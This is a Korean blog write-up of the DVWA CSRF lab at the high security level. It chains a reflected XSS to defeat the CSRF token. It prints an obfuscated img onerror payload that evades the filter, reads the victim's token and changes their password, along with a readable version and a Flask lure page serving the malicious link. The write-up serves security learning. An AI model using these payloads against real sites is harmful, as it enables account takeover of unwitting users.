프로젝트/DVWA 실습

DVWA 실습 #4-3 - CSRF(high)

하루히즘 2021. 1. 8. 22:33

2021/01/06 - [프로젝트/DVWA 실습] - DVWA 실습 #4 - CSRF

 

DVWA 실습 #4 - CSRF

DVWA의 세 번째 실습 대상인 CSRF다. 이 입력 폼은 비밀번호를 변경하는 시스템이며 이를 로그인한 사용자가 모르게 사용하여 비밀번호를 원하는 비밀번호로 변경하는 공격을 실습해볼 수 있다. CS

haruhiism.tistory.com

문제 해결 방법

High 단계에서는 이전 Medium 단계에서 사용한 레퍼러 헤더를 검사하는 방식 대신 CSRF 토큰을 구현하여 올바른 사용자가 작업을 수행하고 있는지 검사하고 있다.

역시 hidden 필드로 구현되어 있으며 서버측에서 매 요청마다 고유하게 생성한 문자열 값이다. 이전 Low, Medium 단계에서 했던 것처럼 사용자에게 링크나 버튼으로 클릭만 유도해서는 토큰 값을 얻을 수 없기 때문에 공격이 불가능하다. 그렇다면 지난번 Brute Force 실습 때처럼 서버 측 언어를 이용해서 패당 토큰 값을 파싱, 악성 URL에 GET 파라미터로 삽입해서 공격할 수 있지 않을까? 하지만 이번에 필요한 것은 우리의 토큰 값이 아니라 사용자의 토큰 값이다. 사용자가 웹사이트를 요청했을 때 서버 측에서 생성하여 반환하는 토큰 값을 우리는 미리 알 수 없기 때문에 역시 공격이 불가능하다. 그러면 어떻게 공격할 수 있을까? 이는 XSS (Reflected 혹은 Stored) 실습을 이용해볼 수 있다.

나중에 진행해볼 실습이지만 XSS 실습에서는 입력값으로 받은 사용자 문자열을 저장했다가 게시판같은곳에서 출력하거나 바로 출력해준다. 그렇기 때문에 스크립트를 삽입하면 사용자가 원하는 작업을 다른 사용자의 브라우저에서 수행할 수 있는데 대표적으로 XSS 하면 한 번쯤 본 <script> alert(1)</script>가 있다. 여기서 스크립트 부분에 XMLHttpRequest를 사용하여 사용자가 CSRF 페이지로 직접 접속하지 않고도 요청을 보낼 수 있다. 그리고 해당 요청에 대한 응답에서 토큰 값을 추출해서 현재 사용자의 권한 및 쿠키로 비밀번호 변경 요청을 보내는 것이다. 물론 난이도가 높아질수록 자바스크립트 관련 태그를 삽입하는 것은 어려운데 이번 단계에서는 약간 부자연스럽지만 XSS (Reflected) 실습에서 High 난이도로 실습해보겠다.

Reflected XSS 실습에서는 입력폼에 입력한 문자열을 Hello 문자열에 붙여서 출력해준다. XSS 필터링을 수행하고 있지만 직접 script 태그를 이용하지 않는 방법에 대해서는 취약한 부분을 보여주는데 이를 이용해서 img 같은 태그의 onerror 속성으로 자바스크립트 코드를 실행시킬 수 있다.

 

일반적으로 이미지를 나타내는 img 태그는 src 속성에서 이미지를 얻어오지 못했을 경우 onerror 속성에 설정된 자바스크립트 코드를 실행한다. 물론 이 자바스크립트 코드도 입력값으로 전달되어야 하기 때문에 XSS 필터링에 걸릴 수 있으며 High 단계의 XSS (Reflected) 실습에서는 아스키 문자를 정규표현식으로 매칭 하여 스크립트 삽입을 판단하고 있다.

예를 들어 <img src="" onerror="console.log('javascript')"> 같은 문자열을 입력하면 원래 의도대로는 개발자 도구의 콘솔에 'javascript'라는 문자열이 출력되야한다. 하지만 High 단계의 실습에서 해당 문자열의 script 문자열까지 필터링하여 ')"> 문자열밖에 남지 않는다. 이는 다음처럼 eval() 함수를 이용하면 필터링되는 문자를 16진수로 표현하여 우회할 수 있다.

위 결과는 <img src="" onerror="console.log(eval('\'java'+'\x73\x63\x72\x69\x70\x74\''))">를 입력했을 때 얻을 수 있다. 자바스크립트가 정상적으로 실행되어 필터링되지 않았기 때문에 Hello 이후 아무런 문자열도 출력되지 않은 것을 볼 수 있다. eval() 함수에서 사용된 '\x73\x63\x72\x69\x70\x74' 문자열은 16진수로 'script'다. 즉 'java'와 'script'가 합쳐져서 'javascript'가 되었으며 이는 console.log() 함수의 매개변수로 사용되어 개발자 콘솔에 출력될 수 있다. 이렇게 필터링을 우회하면서 다음과 같은 스크립트를 작성하였다.

<img src="" onerror="eval('a=new XMLHttpRequest();b=new XMLHttpRequest();g=\x27GET\x27;l=\x27/dvwa/vulnerabilities/csrf/?\x27;a.open(g, l);a.onreadys\x74a\x74echange=()=>{if(a.readyS\x74a\x74e>3){l=l+\x27password_new=0&password_conf=0&Change=Change&user_\x74oken=\x27+(new DOMParser().parseFromS\x74ring(a.response\x54ex\x74,\x27\x74ex\x74/h\x74ml\x27).ge\x74Elemen\x74sByName(\x27user_\x74oken\x27)[0].value);b.open(g,l);b.send(null)}};a.send(null)')">

개행을 사용할 수 없기 때문에 한줄로 늘어 썼는데 이를 보기 좋게 변환하면 다음과 같은 내용이다.

<img src="" onerror="eval('
    a=new XMLHttpRequest();
    b=new XMLHttpRequest();
    g=\x27GET\x27;
    l=\x27/dvwa/vulnerabilities/csrf/?\x27;
    
    a.open(g, l);
    a.onreadys\x74a\x74echange=()=>{
        if(a.readyS\x74a\x74e>3){
            l=l+\x27password_new=0&password_conf=0&Change=Change&user_\x74oken=\x27+(new DOMParser().parseFromS\x74ring(a.response\x54ex\x74,\x27\x74ex\x74/h\x74ml\x27).ge\x74Elemen\x74sByName(\x27user_\x74oken\x27)[0].value);
            b.open(g,l);
            b.send(null)
        }
    };
    a.send(null)')
">

이는 원래 아래과 같은 코드였는데 필터링을 피하고 최대한 글자 수를 줄이기 위해 알아보기 어렵게 변형된 것이다. 중간중간에 보면 t나 T가 들어갈 위치에 \x74, \x54 같은 문자가 들어가 있는 것을 볼 수 있는데 이는 t, T 문자의 16진수 표현으로 eval() 함수에 의해 다시 t나 T 문자로 돌아간다. 해당 실습의 필터링 패턴을 RegExr: Learn, Build, & Test RegEx같은 곳에서 실험해보면 페이로드의 어디 부분에서 필터링되는지 쉽게 알 수 있다. 주로 s, t 문자가 많이 걸린다. 

xhr=new XMLHttpRequest();
xhr2=new XMLHttpRequest();
g='GET';

link='/dvwa/vulnerabilities/csrf/?';
xhr.open(g, link);
xhr.onreadystatechange=()=>{
    if(xhr.readyState>3){
        parser = new DOMParser();
        parsedString = parser.parseFromString(xhr.responseText, 'text/html');
        token = parsedString.getElementsByName('user_token')[0].value;
        link = link + 'password_new=0&password_conf=0&Change=Change&usertoken=' + token
        xhr2.open(g,link);
        xhr2.send(null)
    }
};
xhr.send(null);

GET 문자열을 따로 변수로 선언한 이유는 처음에 XSS 실습에 일정 글자 수 제한이 있는 줄 알고 최대한 짧게 코드를 작성하기 위해 반복되는 문자열을 변수로 선언해둔 것으로 큰 의미는 없다. 이전 워게임 포스팅에서 XMLHttpRequest 클래스의 활용법을 알았기 때문에 코드를 위처럼 작성할 수 있었는데 간단히 해석하면 '/dvwa/vulnerabilities/csrf/?'로 접속해서 응답으로 반환된 HTML 텍스트에서 DOMParser 클래스를 활용하여 name 속성이 user_token인 요소를 찾는다. 이는 숨겨진 input인 CSRF 토큰으로 해당 요소의 value 속성 값을 파싱 하여 CSRF 토큰을 얻어 이를 비밀번호 변경 URL에 포함, 비밀번호 변경을 요청하는 것이다.

 

여기까지가 onerror 속성에서 처리하는 자바스크립트 코드며 비밀번호 변경을 요청하는 주체는 어쨌든 클라이언트 브라우저기 때문에 세션 ID 등이 모두 유효하여 성공적으로 비밀번호 변경을 수행하게 된다. 그렇다면 이 스크립트를 실행하게 하려면 어떻게 해야 할까? 정상적인 사용자라면 이 긴 img 태그를 해당 입력폼에 직접 입력할 리가 없을 테니 실습이 진행된 URL을 악성 URL로 활용할 수 있다.

이 XSS (Reflected) 실습은 입력한 문자열이 파라미터로 전달되는 GET 방식을 활용한다. 그렇다면 위의 악성 img 태그를 입력한 실습의 주소를 그대로 복사하여 공격자 서버에서 링크로 제공하면 될 것이다. 파이썬 플라스크를 활용하여 다음처럼 구현하였다.

@app.route('/csrf/high')
def csrfhigh():
    return "<a href='http://192.168.26.201/dvwa/vulnerabilities/xss_r/?name=%3Cimg+src%3D%22%22+onerror%3D%22eval%28%27a%3Dnew+XMLHttpRequest%28%29%3Bb%3Dnew+XMLHttpRequest%28%29%3Bg%3D%5Cx27GET%5Cx27%3Bl%3D%5Cx27%2Fdvwa%2Fvulnerabilities%2Fcsrf%2F%3F%5Cx27%3Ba.open%28g%2C+l%29%3Ba.onreadys%5Cx74a%5Cx74echange%3D%28%29%3D%3E%7Bif%28a.readyS%5Cx74a%5Cx74e%3E3%29%7Bl%3Dl%2B%5Cx27password_new%3D0%26password_conf%3D0%26Change%3DChange%26user_%5Cx74oken%3D%5Cx27%2B%28new+DOMParser%28%29.parseFromS%5Cx74ring%28a.response%5Cx54ex%5Cx74%2C%5Cx27%5Cx74ex%5Cx74%2Fh%5Cx74ml%5Cx27%29.ge%5Cx74Elemen%5Cx74sByName%28%5Cx27user_%5Cx74oken%5Cx27%29%5B0%5D.value%29%3Bb.open%28g%2Cl%29%3Bb.send%28null%29%7D%7D%3Ba.send%28null%29%27%29%22%3E#'>Click here to say hi to DVWA!</a>"

이는 접속 시 다음처럼 나타난다.

저번 실습과 비교하면 DVWA 주소가 좀 바뀌었는데 다른 VM으로 실습하는 중이라 그렇다. 이렇듯 실습시에는 호스트 부분을 항상 DVWA가 구동되고 있는 서버 주소로 설정해야 한다. 위의 링크를 클릭하면 XSS 실습 링크로 들어오고 별다른 변화가 없지만 로그아웃 후 원래 비밀번호(password)를 입력하여 로그인하려고 하면 실패하는 것을 볼 수 있다. 위의 악성 img 태그에 의하여 비밀번호가 0으로 초기화되었기 때문이다.

비밀번호에 0을 입력하고 로그인해서 CSRF 실습에서 다시 비밀번호를 변경한 후 이번에는 조금 자연스럽게 하기 위해 img 태그 앞에 적당한 문자열을 넣어서 악성 URL을 만들어보았다.

'Hello User! You got 100 points!' 라는 그럴듯한 문자열이 출력됐으며 역시 비밀번호가 0으로 변경된 것을 확인할 수 있다. 아니면 onerror 스크립트의 마지막에 location='/dvwa' 같은 스크립트를 삽입해서 아무 일도 없이 dvwa 사이트로 접속했던 것처럼 속여볼 수도 있겠다.

@app.route('/csrf/high')
def csrfhigh():
    return "<a href='http://192.168.26.201/dvwa/vulnerabilities/xss_r/?name=User!%20You%20got%20100%20points!%3Cimg+src%3D%22%22+onerror%3D%22eval%28%27a%3Dnew+XMLHttpRequest%28%29%3Bb%3Dnew+XMLHttpRequest%28%29%3Bg%3D%5Cx27GET%5Cx27%3Bl%3D%5Cx27%2Fdvwa%2Fvulnerabilities%2Fcsrf%2F%3F%5Cx27%3Ba.open%28g%2C+l%29%3Ba.onreadys%5Cx74a%5Cx74echange%3D%28%29%3D%3E%7Bif%28a.readyS%5Cx74a%5Cx74e%3E3%29%7Bl%3Dl%2B%5Cx27password_new%3D0%26password_conf%3D0%26Change%3DChange%26user_%5Cx74oken%3D%5Cx27%2B%28new+DOMParser%28%29.parseFromS%5Cx74ring%28a.response%5Cx54ex%5Cx74%2C%5Cx27%5Cx74ex%5Cx74%2Fh%5Cx74ml%5Cx27%29.ge%5Cx74Elemen%5Cx74sByName%28%5Cx27user_%5Cx74oken%5Cx27%29%5B0%5D.value%29%3Bb.open%28g%2Cl%29%3Bb.send%28null%29%3Bloca%5Cx74ion=%5Cx27%2Fdvwa%5Cx27%7D%7D%3Ba.send%28null%29%27%29%22%3E#'>Click here to say hi to DVWA!</a>"

중요한 것은 따옴표를 URI 인코딩하여 %27처럼 쓰면 eval() 함수쪽에서 사용하는 따옴표랑 겹쳐서 문제가 생기는 것 같다. 그래서 '\x27'처럼 표현하여 맨 마지막에 eval() 함수가 이를 따옴표로 파싱 할 수 있도록 URL을 작성해야 하며 '\' 문자는 %5C처럼 인코딩 된다. 그러므로 결국 '%5Cx27' 처럼 작성해야 문제없이 따옴표로 파싱 된다.이렇게 험난했던 CSRF 실습을 마무리할 수 있었다.

 

 

사실 제일 편한 방법은 Security Level을 Low로 낮추고 필터링이 하나도 적용되지 않는 XSS (Reflected)에 위와 비슷한 스크립트를 삽입하는 것이다. 하지만 High 단계의 실습을 진행하는데 낮은 단계의 다른 실습을 악용하는 것은 뭔가 이상하다고 생각해서 괜한 오기로 CSRF 실습을 High 단계에서 진행하느라 하루종일 고생하게 되었다. 그래도 결국 성공해서 다행이지만 저녁 먹을 때까지만 해도 계속 실패해서 정말 좌절했던 기억이 아직도 선하다.

 

다른 블로그도 그렇고 DVWA 실습 관련 포스트를 작성한 블로그를 찾아보면 이상한 풀이(요청을 가로채는 CSRF 라던지)를 써놓은 블로그들이 많아서 별 도움이 되질 못하고 있다. DVWA 실습과 병행하고 있는 온라인 강의도 현대 브라우저에서 바뀐 사항이 반영되어 있지 않거나 아니면 Security Level을 낮추고 다른 취약점을 공략한 후 다시 Level을 높이는 등 인터넷 여기저기에 있는 영 맘에 들지 않는 풀이밖에 없었다. 그래서 오늘 낮동안 High 레벨에서 CSRF 공격을 위해 XSS (Reflected) 실습에 스크립트를 삽입하려고 몇 시간 동안이나 고생했지만 약간 아쉬운 결과로 만족해야 했다. 최대한 자연스럽게 공격을 수행해보려고 했지만 요즘에는 방지책이 너무나도 많은 만큼 실습조차도 원활히 따라 하기가 어려워진 것 같다.

 

'프로젝트 > DVWA 실습' 카테고리의 다른 글

DVWA 실습 #5-1 - File Inclusion(low)  (0) 2021.01.12
DVWA 실습 #5 - File Inclusion  (0) 2021.01.12
DVWA 실습 #4-2 - CSRF(medium)  (0) 2021.01.07
DVWA 실습 #4-1 - CSRF(low)  (0) 2021.01.06
DVWA 실습 #4 - CSRF  (0) 2021.01.06